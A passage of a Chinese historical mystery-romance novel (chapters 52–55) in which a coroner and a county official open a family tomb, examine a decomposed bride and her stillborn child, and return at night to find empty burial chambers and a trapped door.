池楚浠站在一棵石榴树后远远地看着那对新人,她确定新郎不喜这桩婚事。
“你说吴郎君可是还爱着前任娘子,所以才这般阴沉。”池楚浠问身旁的人。
景序昭道:“若真爱李娘子为何不直接拒了这婚事,待到丧期过后再娶又有什么要紧,莫非他活不过丧期,非要此时娶妻延续香火。”
池楚浠略一沉思,觉得景序昭这随口一说的话竟很有道理。
眼前的石榴花开得正好,方才闻过尸味的鼻子被这花香吸引,池楚浠转眼看向近处的花朵。
翠绿蝴蝶的身影再次闯入视线,它们绕着红色的石榴花翩翩起舞。
又是这种蝴蝶,没想到这吴家也有。
她盯着三两只蝴蝶看了许久,景序昭道:“真喜欢就捉几只回去。”
“不要。”池楚浠赶紧道,“别把它们晒成蝴蝶干,我家中又无花景摆设,需不着它们去点缀。”
景序昭听了她的话忽地笑了:“谁说要将它们晒成蝴蝶干,咱们就不能养活的?”
池楚浠:“……”
“无处可养,我时常不在家,养不了它们,再说了,它们长着翅膀,岂能由我将它们关在院中。”
“找个笼子关着便是。”
“不要。”池楚浠道,“何苦要这样做,蝴蝶的寿命本就不长,圈养起来它这一辈子都见不了天地。”
景序昭扫了那几只蝴蝶一眼:“若爱不释手,抓起来圈禁也未尝不可,总好过日思夜想却无法触及。”
池楚浠抬眼看着他道:“像阿兄这般强抢强占,与那土匪有何区别?”
景序昭沉默了。
池楚浠的评价一语中的,他喜提土匪之称。
52. 重开墓穴
吴家占地广,景序昭逛到了一处僻静的偏院,见着两个小厮在这里收拾柴火,要将这些柴火扛到后厨去。
一来到这里池楚浠就感觉后背发凉,虽然今日天气阴沉,但却不见得冷,只是这里要比别处阴冷许多。
她不禁抱了抱胳膊,感觉怪怪的。
她朝景序昭看去,只见他环顾四周,将这附近打量得很仔细,仿佛在盘算着什么。
铁耀忍不住倒吸了一口凉气:“怎么这里阴森森的。”
池楚浠也是同样的感觉,她极少能切实地体会到这种“阴森”,大概是从小死人见得多,不怕什么鬼怪冤魂。
景序昭道:“此处的地势像墓穴,不适合用来做活人的宅子。”
背柴火的一小厮远远地就听见了,他道:“没错,这堵墙后边便是墓穴入口,主人家的墓地。”
另一小厮用胳膊肘撞了撞他,小声提醒:“没看有人穿着不良人官服吗,他们是官府的人,别乱搭腔。”
两个小厮都不说话了,闷头背着柴火离去。
池楚浠望向小厮背后的那堵院墙,院墙之外是吴家墓地?这墓地离宅子也太近了,怪不得岳逸钦师徒都说这屋风水不好。
哪有活人与死人共住一处的。
这场婚宴没有外来宾客,拜堂后便默默地走完了剩下的流程,只有喜婆的声音最明朗,其他下人虽然都笑着,但那笑容倒像有八分虚情假意。
池楚浠他们从偏院又绕了回来,在一条鹅卵石铺就的小道上迎面撞见了新郎吴耀金。
两方人都顿住脚步。
路窄,路两旁种了花草,铺了假山石,要想过去其中一方必定要让路。
池楚浠盯着吴耀金看,他还穿着拜堂时的喜服,那脸色除了冷以外还有些苍白。
天气阴沉,光线不好,此刻的吴耀金看起来仿佛一个刚从坟墓里钻出来的厉鬼。
“吴郎君这是要去哪儿?”景序昭问,他此时的声音颇有威严,以一种胁迫的姿态问询。
吴耀金个子比景序昭矮许多,他看景序昭时眼皮有些上抬,只见他紧紧盯着景序昭,嘴里没说一句话,连一个多余的动作都没有,像个活死人。
景序昭也盯着他道:“听说吴郎君是个哑巴,是真的还是装的?”
吴耀金一双小而圆的眼睛紧紧盯着景序昭,对于景序昭这般没有礼貌的质问,他没有愤怒只有着急。
景序昭:“想过去?你的新房不在这边吧?”
都逼到这个份上了,吴耀金眼里除了着急还是没有别的神态,依旧一句话也不说。
景序昭笑着看向池楚浠,继续调侃:“果真是个哑巴。”
池楚浠知道他是想逼吴郎君说话,最好能说些什么有用的信息,但显然吴耀金不吃这一套。
池楚浠道:“吴郎君可是要去墓地?我们刚从那边回来,听府中的下人说墓地的入口在墙外,从家里应该过不去吧?”
吴耀金的脸色明显变了,他牢牢盯着池楚浠,终于开口:“你们……是谁?”
吴耀金的声音有些沙哑,像是常年不开口说话的嗓子,音调有些怪异,听起来令人不舒服。
铁耀挺着他的佩刀耀武扬威地道:“我们是公廨的,我们景县丞奉命查案。”
“查案?”吴耀金颤抖着说出这两个字,眼中忽然亮了一瞬,但很快那束光便湮灭。
“让开。”
吴耀金往前走了几步,试图把景序昭挤到旁边去。
景序昭一手抓住他胳膊:“到时辰开棺验尸了,吴郎君一起去。”
铁耀一路把吴耀金拖到吴老爷面前,岳逸钦已经做好准备去墓地。
吴荣贵见儿子被逮了过来,脸色有些难看,但还是扯出了一个笑容:“走吧,景县丞。”
一行人来到墓地。
池楚浠看见了那堵院墙,墓地的入口还真是这个地方,与吴家的住宅仅一墙之隔。
怕一会儿耽误太久天色晚了看不清,吴老爷叫了小厮们带着火把来。
加上景序昭带来的人,不少人将墓穴的入口占得严严实实。
眼前的墓穴不是一个单独的坟头,池楚浠只看见一扇石门,似乎石门后的一整片地都是墓穴。
岳逸钦一眼就看出了端倪:“你们吴家人都葬在这里面?”
吴贵荣道:“是,我们吴家的墓有些年头了,三代人都在这里,李荞是我吴家的媳妇,自然也在里头。”
一听到李荞的名字,吴耀金就突然冲到墓门前拦住:“不可以!”
不良人们一齐上前,气势汹汹地瞪着吴耀金,手里做出要拔刀的姿势。
吴荣贵赶紧解释:“耀金心里记挂着李荞,她过世还未满三月,贸然去打扰她是不敬,所以他才这般冲动。”
吴荣贵说着就招呼下人:“把他拉走,别阻拦县丞验尸。”
吴耀金死死扒住墓门不让,手指都扣出了血也不撒手,但架不住三个小厮一起拉他,还是将他搬开了。
吴耀金虽然不说话,但整个人看起来已经在崩溃的边缘了,可一旁的吴荣贵却无动于衷。
吴耀金的手指滴着血,吴荣贵连看也没看一眼。
池楚浠看着这对父子都觉得不像父子,不过吴耀金长得倒是挺像吴荣贵的,只是这父子感情未免太过疏离。
墓门的开关在侧方,吴荣贵对着机关拧了一下,石门才缓缓打开。
“点燃火把,随我进去。”
墓穴里没有光亮,小厮们手里的火把照亮了前路,景序昭与吴荣贵走在一处。
吴耀金愤怒地跟了上来,有小厮将他架着,这些都是吴荣贵的授意,说是怕他捣乱。
池楚浠与岳逸钦跟在景序昭身后,从入口进来后便是一条直直的甬道,有光亮却看不清甬道前方的路在何处。
池楚浠猜测这后方的小半座山头应是都做了墓地,这里面不知葬了多少吴家人。
虽然一起进来的人多,但池楚浠依旧觉得有一股寒意,从前接触死尸时并未有这种感觉。
心里正有些紧张,忽然,有东西猛地从池楚浠脚背上爬过。
“啊!”
她没忍住惊呼一声。
景序昭位于她正前方,他反应迅速,一手将池楚浠揽至身前。
铁耀手里也有一支火把,他举着火把追着那黑影照过去:“是老鼠。”
原来是老鼠,池楚浠松了口气。老鼠她倒是不怕,她怕那些奇奇怪怪的没有脚的软体动物。
心情平复了几分,池楚浠立即从景序昭臂弯里退了出来,继续退到他身后跟着。
景序昭默了片刻,低声嘱咐:“小心些。”
池楚浠嗯了一声。
接下来走的这段路池楚浠有些心不在焉,自从发现景序昭把那枚同心锁贴身带着后,她便
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猜到了什么,只是不便明说。
眼下又见他对自己如此上心,事情就更明了了,结合之前的种种,饶是她再愚钝也清楚地认识到了景序昭的心意。
两年前,她就当景序昭是阿兄,那时她与季沐风还是青梅竹马,心里只有季沐风,从未有过别人。
原来只有她一个人认下了阿兄这个名头,景序昭从来只是口头上应着她,心里却从不当她是妹妹。
只当她是心上人。
这可如何是好?
池楚浠神情恍惚。
景序昭特意提醒道:“当心台阶。”
池楚浠这才发现他们已经走到头了,接下来是往下的台阶。
过了台阶又走过一段甬道,眼前出现一扇石门。
吴荣贵道:“李荞的尸身就在里面,大家无需都进去,人太多会扰了她清静,景县丞,你点几人随我来。”
这扇石门依旧有机关,吴荣贵亲手拧开了石壁上的按钮。
石门缓缓缩回上方。
门下刚露出一掌宽的缝隙,一股恶臭便猛地袭来,几个不良人当场干呕出声。
“那是什么?”铁耀指着门后的东西道,它看起来比男人的巴掌大不了多少。
他捏着鼻子举着火把靠近,将那东西照清楚。
“哕!”
铁耀把中午吃的点心吐了一半。
“死尸!怎么有这么小的死尸。”
身后的不良人齐刷刷吐了,顿时,这方空间的味道更加难闻。
池楚浠走近些看,她接过铁耀手中的火把,对着那小小的死尸照去。
“是未出生的婴儿,约莫六七月大。”
说完,身后的吴耀金便一个箭步冲了过去,他跪伏在婴儿的尸体面前放声哭泣。
吴耀金浑身颤抖,双手想去抱起婴儿但又不敢,他说话的音调本就令人不适,现下哭起来就更让人心里发慌。
池楚浠眉头皱起。
景序昭道:“吴老爷,这是怎么回事?”
吴荣贵身后的一众小厮吓得脸色惨白,他们没像不良人那样呕吐,他们只是吓得快要晕死过去了。
吴荣贵也吓得不轻,手脚都有些发软,他道:“我也不知,李荞是有身孕,可那孩子已胎死腹中,又怎会出现在这里。”
他一说完,所有人后背都起了一层寒气。
景序昭沉声道:“胡说,李荞才嫁进吴家才两月,怎会有六七个月大的孩儿!”
“这……”
吴荣贵支支吾吾。
池楚浠看向吴耀金,他已经哭得声嘶力竭,若不是亲生的,他怎会这么伤心。
池楚浠道:“应该是他的孩子。”
吴荣贵叹了口气道:“没错,李荞怀的是耀金的孩子,在成亲之前,他俩就相识了,她嫁进门时已怀孕五月有余。”
他看了那婴儿的尸骨一眼,那孩子已经腐烂。
吴荣贵胆战心惊地擦了擦额上的汗:“那孩子的尸体怎么会跑到门后……”
不良人和小厮们吓得挤在一处,都顾不上面子里子了。
“难不成他在她母亲腹中又活了,自己钻了出来,结果又活活饿死……”
吴荣贵一番话让不良人和小厮们差点晕过去,早知如此,打死也不进墓穴。
池楚浠是所有人中最淡定的,她道:“并非如此,胎儿的确是死后才出来的。”
53. 死后生子
“如何说?”吴荣贵颤颤巍巍地问。
池楚浠却问道:“死者下葬时没用棺材吗?”
“没。”吴荣贵说着就指向已经大开的墓门,“李荞是裸葬,身上不携带任何财物,自然也不会有棺材。”
景序昭疑惑道:“为何裸葬?”
吴荣贵在这事上稍有停顿,没能立即回答。
岳逸钦道:“在有些地方,他们以最直接的方式让尸体融入大地、回归尘土,认为裸葬是顺应自然的行为。”
“还有一种说法,人的灵魂在死后需要自由地脱离肉.体,进入另一个世界。裸葬有助于灵魂更顺利地离开,避免葬具等对灵魂的束缚,让灵魂能够快速、无阻碍地前往应去的地方。”
“当然还有一些别的说法,大家平日里没听说过的。”
岳逸钦看向吴荣贵道:“不知你们吴家奉行的是哪一种?”
吴荣贵道:“第二种,这是我们吴家对她的祝福,祈愿她灵魂飞升,不受任何束缚。”
池楚浠从小厮手里拿了支火把:“进去看看。”
吴耀金在门边守着婴儿的尸体痛哭。
池楚浠从他身旁经过,景序昭和岳逸钦随即跟上。
不良人和小厮们面面相觑,个个都吓得腿软,直到看见吴荣贵跟进去了他们才怯怯地往里走。
尽管吴家的小厮们也受了惊吓,但他们看起来比不良人淡定多了,至少他们都没作呕。
这个墓室比想象中的大一些,一进来并没有直接看见李荞的尸身,而是看见了堆放在墓室两旁的石堆。
这些石堆是由大小不同的圆滑石块垒起来的,靠着左右两侧的墙面堆放。
这两处位置很显眼,很难不让刚进来的人注意到,毕竟大家没见过墓室里这样的结构。
由于室内黑暗,前方的石台不够明亮,池楚浠举着火把往前,这才照亮了石台的上方。
许多薄石板规整地叠起来,叠成了一个实心的棺材模样,在石板的最上方躺着一具孤零零的尸身。
这里有肉身腐烂后的味道,由于空间较为密闭,墓室打开的时间也不长,此时的味道还很难闻。
走在最后的不良人又齐刷刷吐一轮。
吴荣贵道:“这便是李荞的尸骨,景县丞,您还是隔着远远的看吧,我们家不兴让人去翻动已经下葬的尸身,这是对死者的尊重。”
景序昭沉声道:“吴老爷,你五任夫人都莫名去世,现下你儿也接连死了妻,即便你们从未报案,官府也有权力调查此事。”
他紧紧地盯着吴荣贵道:“若你们吴家刻意谋杀,此事自当论罪。”
吴荣贵紧张地抹了一把额头,赶紧道:“我们可不敢杀妻,县丞莫要给我们吴家人扣罪名啊,您查,您上前去仔细查。”
景序昭看向池楚浠道:“那具婴儿的尸骸为何会出现在墓室门后?”
池楚浠正要说这个,她道:“李荞死时胎儿已经成型,因地下的水土环境,死人尸首胀满,骨节缝开,故而挤压出腹内孩子。”
“死胎会连带着脐带之类的组织一起出来,女尸产门处必能看出。”
景序昭道:“你上前看看。”
“嗯。”池楚浠举着火把独自上前。
尸身没有衣物遮挡,池楚浠一眼就看见了与胎儿连接的组织,只是已经残缺不全,地面还余下一些痕迹,像是被什么东西拖走了。
池楚浠想起在甬道处遇见的老鼠,莫非是老鼠拖走了那些,可为何李荞的尸体上不见被老鼠啃咬的痕迹。
池楚浠凑近李荞的面旁,能嗅到一股药味,这类药她略知一二,普遍是用来避虫的。
李荞的身体表面抹过这药,老鼠不敢来咬,但她腹中胎儿没有药物,所以老鼠便肆无忌惮地拖拽。
粗略看过之后,池楚浠退下来对景序昭道:“孩子是从李荞体内挤压而出,尸身表面涂有避虫药,老鼠便拖走了没涂过药的婴儿尸身。”
吴荣贵听了不由得闷声哭起来:“儿媳啊,是我们吴家对不住你,没护好你,可怜了我吴家孙儿,还未出生便胎死腹中。”
他呜呜地哭着。
这时,吴耀金用自己的衣服抱着婴儿的尸骨过来。
池楚浠道:“那婴孩儿并未被完全啃噬,想必还是沾染了一些母亲身上的药物。”
吴耀金这会儿已经哭得收了声,他不哭了,只是一脸麻木地抱着孩儿的尸骨来到李荞面前。
他没说一句话,当真活得像个哑巴。
他将包裹好的婴儿尸骨小心翼翼放到李荞身上,让婴儿贴着母亲的胸膛。
这时,他又小声啜泣。
池楚浠与景序昭对视一眼,两人都觉得吴家父子疑点重重,但所有事情却都能说得通,即便是吴荣贵编了个故事,那这个故事亦是完整的。
唯有一点,关于吴家男人克妻之事池楚浠不太信。
克夫一说倒是听得多,克妻却是鲜少听闻,即便真能将其中一方克死,那能连着克死四五个?
若说是克妻,还不如说吴家男人有毒,嫁进来的女人一碰他们便会身亡。这样倒是更说得通。
不过旁人是对这克妻之说深信不疑,毕竟克夫一说同样被人深信,反过来倒不会觉得哪里奇怪。
吴荣贵悲伤了好一阵,终于缓过来道:“县丞,李荞的尸身你们也看过了,没什么事了吧?”
“要不咱们早些出去,别搅扰了死者安宁。”
景序昭问池楚浠:“可有看出什么?”
池楚浠摇摇头。
她对着景序昭眨了眨眼,景序昭当即读懂了她的意思。
“那便不打扰了。”景序昭道。
吴荣贵赶紧转身带路,他吩咐小厮:“带少爷出来,墓中不可久留。”
池楚浠跟着一行人往外走,她回头看了一眼,瞧见两个小厮架走了吴耀金。
尽管吴耀金守在李荞的尸身前,一副很不舍又伤心欲绝的样子,吴荣贵也丝毫不在意。
小厮强行架着吴耀金出来。
池楚浠越过吴耀金的身影看向石台上的李荞,她的尸身静静地躺在那儿,此刻正与她那未出世的孩子贴在一起。
就在墓门关闭的那一刻,池楚浠再次回头看去,似乎看见了墓中有蝴蝶飞舞的身影。
约莫有三五只蝴蝶在里面翩翩起舞。
池楚浠以为眼花,抬手使劲揉了揉眼睛,再睁眼一看时,墓门已经
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落下。
她有些发呆地僵在那儿。
手腕被人拽住,景序昭带着她往出口去。
“天色已晚,夜间不渡河。”景序昭道,“不知吴老爷可否让我等借宿一晚?”
吴荣贵看了看手握佩刀的诸位,不得不笑着点头:“应该的,我这就让管家安排客房,房间管够。”
景序昭:“有劳了,另外给我们拿些吃食,算在公廨账上。”
吴荣贵赶紧道:“不必记账,今日家中有喜,自当请客,诸位有事尽管吩咐。”
景序昭:“多谢,祝令郎与新妇琴瑟和鸣,恩爱绵长,早日添丁。”
吴荣贵笑着去忙活别的了。
管家分好了房间,丫鬟们领着人各自去了自己的住处。池楚浠是女眷,唯独她住在另一个院子。
吴府的丫鬟送来吃食:“池娘子,请慢用。”
池楚浠点点头:“你叫什么名字?”
“奴婢紫藤,池娘子有吩咐唤奴婢即可,今夜奴婢就留在浅月居伺候您。”
“是吴老爷吩咐你来伺候我的?”
“是,老爷说您是衙门的人,要好生照顾着。”
池楚浠嗯了一声,没有反驳。
浅月居空荡荡的,没有别的女眷居住,吴家好像就没有儿孙辈的女子,至少到现在为止都没见着。
吴荣贵唯一一个儿子还是半个哑巴,若非迫不得已,他不会开口说话。
池楚浠想起在路上偶遇吴耀金那时,她提了李荞一句才引得他出声,吴耀金对李荞似乎有着非同寻常的感情。
夜色渐深,池楚浠算着时辰。
“紫藤,你进来。”
歇在小室的丫鬟快步走来:“池娘子有何吩咐?”
池楚浠关切道:“我瞧着你那屋被褥太薄,要不你换我屋里来睡?”
紫藤躬身道:“奴婢不敢,我们都是睡下人的房间,不可造次。”
池楚浠笑笑,拉了紫藤的手将她带过来:“无妨,你先坐下,我怕冷,我想跟你挤着睡,我去拿你的被子来。”
“池娘子不可……”
紫藤想拦,可池楚浠动作更快,她已经跑去小室了。
一眨眼,池楚浠都已经抱着被子回来了,她把被子铺好道:“好了,你就当陪我如何,我不敢一个人睡,我怕黑。”
“那、那好吧。”
紫藤有些无奈地坐上床。
池楚浠熄了灯道:“多谢你了紫藤,你真是个好姑娘。”
紫藤不好意思地笑了笑:“睡吧,池娘子。”
躺在床上后,紫藤闻到一股淡淡的香膏味,味道还挺好闻,很快她便睡了过去。
确定紫藤睡着了后,池楚浠翻身起床。
她将香膏收好,密封起来不让香味散出。
窗口有一黑乎乎的人影,池楚浠轻手轻脚来到窗前,推开窗棂。
“你来了,可有人跟着?”
景序昭摇摇头。
池楚浠悄悄溜出门,留了紫藤一人在屋中。
今夜有些许月色,但浅月居里树木茂盛,遮挡了大部分月光,只有星星点点的月色洒落地面。
两人趁着月色浅摸出了浅月居。
54. 青陵蝶影1
“吴荣贵在你院中留了眼线。”
“我让她与我同睡一铺,明日醒来她只会当我与她共眠了一宿。”
“丫鬟们的睡眠浅,你不怕她半夜醒来发现你不在?”
池楚浠轻笑了声:“这事陆逍有经验,要不你去问问他,睡晕过去后可还记得发生了什么?”
景序昭:“……”
他记得陆逍那日匆匆跑来禀报,说池楚浠迷晕他非要去见季沐风。
这事景序昭可牢牢记在脑海里,她哪怕迷晕陆逍也要去见季沐风,她就那么想见他。
想到此处,景序昭一直以来被压抑着的情绪趁着夜色暴发了,夜色中,他知晓池楚浠看不清他的脸,于是把脸黑成了锅底色。
池楚浠摸黑往墓地方向走去,许久没听见身侧之人说话,还好奇地回头看了一眼。
她看不清景序昭的神情,只瞧见他闷头跟着自己走。
“侧门的小厮可弄走了?”
景序昭嗯了一声:“铁耀去办了,没问题。”
两人溜至侧门,果然一个看守的小厮都没有,铁耀从门外把门推开了:“快出来。”
两人顺利出去。
铁耀道:“这吴家的守卫不严,家中也就几个小厮,没有私兵的那都好说。”
“您二位干嘛还要摸黑去那墓地,白日里去就够阴森森的了,还要晚上去,我都瘆得慌。”
铁耀一边说着一边跟了上去。
景序昭问池楚浠:“你在墓里发现了什么?为何要避开吴荣贵?”
池楚浠道:“李荞的尸身保存得还算完整,我想再验一遍,白日里我不当着吴老爷的面说,是不想让他对我们警惕起来,那些嫁进吴家的新妇不能就这样莫名其妙地死去。”
“一个两个或许是巧合,吴老爷的五任妻子加上他儿子的四任妻子,一共九人,那就不是巧合。”
铁耀摸摸脑袋:“有道理……”
景序昭道:“尸身已经腐烂太多,恐怕验不出什么了。”
池楚浠道:“总要一试。”
墓地很快就到了,眼前就是一扇黑漆漆的墓门,晚上站在这扇门前更觉阴森。
白日里见吴荣贵打开墓门时并没有瞧见复杂的机关设置,也就一个门锁而已。
玄空门下亦有奇门遁甲之术,来之前景序昭便向岳逸钦讨教了此处的结构。
岳逸钦来过这墓地,知晓这里并无复杂机关,只是有一点,开门时需得反扭一下,否则墓门会锁死。
记住了岳逸钦说的,景序昭照做。
果然,墓门开了。
“铁耀,你就守在门外,若一个时辰后我们没出来再唤我师父。”
“好,景县丞、池娘子,你们小心。”
池楚浠掏出早就准备好的蜡烛分给景序昭一支。
经过甬道时池楚浠又想起那只从她脚上爬过的老鼠,怎么晚上来反而见不着了。
“当心台阶。”景序昭道。
池楚浠低头看着路,小心翼翼地踩了下去。
第二条甬道两侧有许多岔路,池楚浠忍不住一一看去,每一条岔路走下去应该就有一个墓室。
“在吴家死去的女人若是都葬在这里,那就需要九个墓室,吴家三代人都用这个墓地,那这里总共会有多少个墓室?”
景序昭道:“至少二十个。”
池楚浠:“难怪是占了半个山头的地。”
来不及去逛其他墓室,两人直奔李荞所在的墓室。
照岳逸钦教的法子,景序昭打开了李荞的墓门。
吴耀金放在李荞身上的婴儿尸骨分豪未动,看来老鼠们不敢来造次了。
“既然是将人好好安葬在此处,又怎会放任老鼠跑进来,既然修了墓室,那为何不修得更严密些。”
池楚浠举着蜡烛沿着墙角照去,石砖与石砖之间粘得紧密,没瞧见地上有老鼠洞。
“在此处。”景序昭道。
池楚浠去他指的那处看,墙角竟有一块地板松动,想必老鼠是从这里钻进来的。
“看来这个墓室已年久失修,如此大的墓室,维护起来需要成本。”景序昭道。
池楚浠这才去看李荞。
她将婴儿的尸骨抱了下来,放在李荞旁边的石面上。
池楚浠郑重道:“李娘子,打扰了,我想知道你是怎么死的,若有冤情,还请一一告知,我必为你讨回公道。”
景序昭从怀里掏出验尸格目,还有一支笔。
池楚浠忽地笑了:“你准备得倒是齐全,那便都记下吧。”
池楚浠戴上手套查验李荞尸身。
尸体表面被涂抹过药物,只略微一凑近便能闻出,这具尸体的尸臭味过于浓郁,池楚浠闻过少许味道后便屏住了呼吸。
她双手戴着手套不方便,只能对景序昭道:“劳烦你帮我戴上面衣。”
“在我布包里。”
景序昭放下纸笔,把手伸进池楚浠挂在身上的布包里,摸到了纱布做的面衣。
这面衣是为掩住口鼻,大夫接诊疫病患者时常会用到的东西。
景序昭牵着面衣两端,将绳绕过池楚浠耳后。
池楚浠感觉景序昭的手指在她后脑勺摆弄着,似乎还没系好。
她抬眼瞧着景序昭:“你当真不会系绳?打个死结好了,这个容易。”
景序昭垂眸看来:“好了,我本意是想系稳当些。”
他的手指从池楚浠脑后撤开。
“抱歉,有一缕头发散了。”
池楚浠已经感受到了,被他弄散开的那一缕发丝已飘过来挡住了她的视线。
她抬手去扶,又碍于手上有脏污,便只能放弃。
她盯住景序昭问:“会扎头发吗?”
景序昭道:“可以一试。”
池楚浠老老实实站着不敢动,生怕景序昭一不小心将她整个头发都拆散了。
景序昭绕起那缕发丝牵到她耳后,找了个地方别进去。
绑发时,指尖难免碰到她,景序昭捏着那缕头发提着,尽量不从她肌肤擦过。
池楚浠等得心焦,怕他弄不好。
可出乎意料的,他很快将那缕发丝卡在发簪下。
“好了。”
池楚浠松了口气:“多谢。”
她转身继续查看李荞的尸身。
血肉没有被老鼠啃食,依稀还能看出一些生前的痕迹。
此时查验血肉意义不大,池楚浠主要看骨骼。
吴荣贵说李荞是突然暴毙而亡,若是验出有致命骨伤,那便能与吴荣贵对质。
“头骨六块,完整。”
“胸前骨三块、心窝骨一块,皆完整。”
池楚浠眉头微皱,所有的一切看似都很正常,各十二节的项骨和脊骨也都完好无损。
“死后尸体膨胀将胎儿挤压而出。”
景序昭着重记下了这个,因为女尸其他地方皆是完好。
池楚浠又重复查验了两遍。
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景序昭:“可还有异常?”
池楚浠摇摇头:“光线不好,只能看出有无大损伤,若要细验需得将尸骨带出去。”
她道:“来时我便心中有数,死后腐烂,许多痕迹都无法存留,即便不是自然死亡,也很难看出端倪。”
景序昭道:“一具尸体看不出端倪,那么四具五具呢?”
池楚浠睁大了眼睛:“你的意思是……”
景序昭:“去其他墓室,若还是什么痕迹都看不出,便将李荞的尸骨带出去查验。”
池楚浠将婴儿的骸骨放回李荞身前,让他们依偎在一起。
她重新拿起蜡烛,随着光源地移动,石台下的阴影处露了出来。
一只蝴蝶倒在地上缓慢地煽动翅膀。
池楚浠心中一惊,顿下细看。
她拿着蜡烛凑近,照亮了那只蝴蝶。
“又是这种蝴蝶。”
“白日里我也瞧见了,那时墓门正当落下,我看见了它们,不止一只。”
景序昭也蹲下查看,他拨了一下蝴蝶绿色的翅膀。
“它们是如何飞入墓室的,这里恐怕还有别的出口。”
“蝴蝶在墓室里无法生存。”
池楚浠盯着地上的蝴蝶道:“所以它快要死了,或许它从一出生起就在墓室里。”
景序昭怔了怔,这个说法令人心惊。
蝴蝶如何能在这种地方繁殖。
这只蝴蝶显然是要死了,它的翅膀动得越来越缓慢,终于没什么力气似的颤了颤。
景序昭掏出一只手帕,摊开其中的图样与蝴蝶做对比。
池楚浠道:“你怎么把李荞的手帕带来了。”
景序昭对比着看了一会儿,道:“不是同一只,只是很相似。”
池楚浠道:“或许根本就没有与手帕上一模一样的蝴蝶,每个人的绣工都不同,她绣的也许只是她自己拟定的图样,并不是照着哪一只绣的。”
“蝴蝶命不长,即便有她绣过的那只,恐怕也活不到现在。”
“走吧,去其他墓室看看。”池楚浠道。
两人出了李荞的墓室,走向甬道的另一个岔路口,前方便是新的墓门。
景序昭用同样的法子打开了墓门。
这个墓室与李荞的墓室相隔不远,从外面看它的位置不处于中心地带,想必墓室里的主人也是嫁进吴家的女人。
石门缓缓开启。
这边与李荞那边明显不同,没有腐臭,但开门那瞬间一股尘土之气扑面而来。
门后有一段墓道,池楚浠举着蜡烛前伸,将前方照亮。
墓道与正对面的墓室中心通通一览无遗,那面应该放置尸体的石台上空空如也。
池楚浠几步跨过去,就站在石台前,这里什么也没有。
“空的。”
景序昭神情凝重:“去下一个。”
两人退出空荡荡的墓室,返回之前的岔路口。
沿着甬道一直往前,往左拐后又出现一个新的墓室门。
景序昭扭动门外的开关,咯吱响了一声后墓门并没有打开。
池楚浠警惕地看着四周,这里的一切设计简陋,从前两个墓室看不像有防盗机关。
开关按了,但墓门没开。
景序昭将池楚浠拉至身后。
门后传来“咔哒”一声,石门终于缓缓向上提起。
池楚浠道:“想是这里许久没有人来,门上的机关已经年久失修,恐怕又是个空的。”
55. 青陵蝶影2
这里没有多余的墓道,门后便是用于安葬的墓室。
当烛光照进墓中,里面依旧一片荒芜。
景序昭沉声道:“吴荣贵说死在吴家的女人都会葬入吴家墓穴,李荞旁的墓室理应葬着吴耀金的前前任夫人,可如今什么也没有。”
池楚浠绕着这个不太大的墓室走了一圈,没有棺材,没有祭品,更没有尸体。
她道:“继续找。”
这一次,他们顺着甬道走了很长一段路,若说半个山底下都用做了墓穴,那怎么也该看见一具尸体了。否则,吴荣贵就是说谎,那些女人根本没有葬入吴家墓穴。
眼前的墓门令两人顿住脚步,这是一扇朝两侧开的大门,占据了整面墙。
两人彼此看了一眼,有片刻屏住呼吸。
池楚浠终于有些心慌了,这扇门与其他的门不同,门后或许就是整个墓穴的中心墓室。
正当池楚浠靠近墓门时,她却被景序昭一把拉住。
“看脚下。”景序昭提醒。
池楚浠就着烛光低头看去,地面的石板上有一些图案,她蹲下拂去石板上的灰尘仔细看。
石板上有着浮雕一样的东西,像是刻了一个戏台,那戏台上有人在唱戏。
“吴家人喜欢听戏?”她疑惑。
景序昭指着戏台周围道:“不见得,这戏台的前后左右都没有看客,这戏台搭在荒郊野外。”
池楚浠再往周围看去,果然是荒郊野外,戏台不远处还有茂密的树冠,侧面是一条山路。
她道:“谁会荒郊野外搭个戏台子?”
景序昭:“你可听闻鬼唱戏?”
“何为鬼唱戏?”池楚浠抬头望向他。
景序昭:“在荒郊野外搭台唱戏,专给鬼看,若活人误入其中会被迷走魂魄。”
池楚浠:“那又如何?”
“没了魂魄还能如何?”景序昭道,“要么死,要么不人不鬼。”
“我没见过这鬼唱戏,也从未听闻。”
“这只是传说罢了,我也没见过。”
景序昭举高手中的蜡烛,靠近右侧的墙面看去,墙缝之间有些不同寻常。
他嘱咐池楚浠:“你先不要走动。”
池楚浠点点头。
景序昭又查看了剩下的两面墙壁,计算出一个角度,他拉着池楚浠的手腕将她带至墓门左侧面的墙角处。
“你就站在这里。”
池楚浠道:“可是有机关?”
景序昭:“嗯,你站着便好。”
安排好池楚浠后,他用力推动那扇被当做墓门的石墙。
池楚浠明显感觉到墙面在颤动。
景序昭最后用力推了一把,接着迅速闪身躲到池楚浠身边的位置。
池楚浠还未反应过来,耳旁就听见嗖嗖的箭矢破风声,那些从墙缝里射出的利箭重重扎在了对面的石壁上。
才一会儿功夫,利箭便扎完了。
池楚浠忽地笑了:“这吴家的防盗倒是有些随意,看来里面并没有多少钱财,难怪其他墓室都不设防盗。”
景序昭道:“他既兴裸葬,又岂会放太多钱财,修如此宽敞的墓穴恐怕是不想被人打扰逝者灵魂飞升。”
池楚浠望着眼前的石门:“这扇门要如何打开,有机关吗?”
景序昭上前,双手压在门上直接往里推。
池楚浠:“我推那边。”
“不必。”景序昭抬手制止。
他虽然用力推着,但并没想过能通过这种方式将门打开。
池楚浠见他推不开,还以为是他力气不够,毕竟这是一扇顶到天花板的门,是一整面墙。
景序昭嘴上说着不让帮忙,莫不是他要面子,不肯承认自己力气不够。
池楚浠这么想着,还是决定上前帮一把。
刚要去帮手,池楚浠就听见门的左侧闷闷地响起“咔”的一声,像是从石头里传出来的。
景序昭凝神仔细听着,找准了机关所在的位置。
只见他在石门左侧的第二块门板上寻了个位置按下去,“咔咔”声便持续响起。
石门从中间打开。
“机关还能这样寻?”池楚浠震惊道。
景序昭:“夜里出来时师父临时教了几个点子。”
“岳师父的玄空门到底是做什么的?”
“什么都有,都是些谋生的活计,与寻常手艺人差不多。”
“那可差多了,你们上知天文下知地理,还能未卜先知。”
“没那么玄乎。”
池楚浠笑笑,不再过问,反正岳逸钦说过,她不适合做那行。
石门完全打开,烛光能照到的地面皆是一片空旷,这里是一个极其宽敞的墓室。
“这里会葬着谁?”
池楚浠的本意是找那些莫名死在吴家的女人,如今女人一个没找着,反倒进入了这个大墓室。
这里如此宽敞,必定不会只葬外姓女子。
“进去看看。”
池楚浠进入墓室。
景序昭刚一踏进门,身后的石门便快速合上了。
池楚浠听见动静回头看来:“关严实了?”
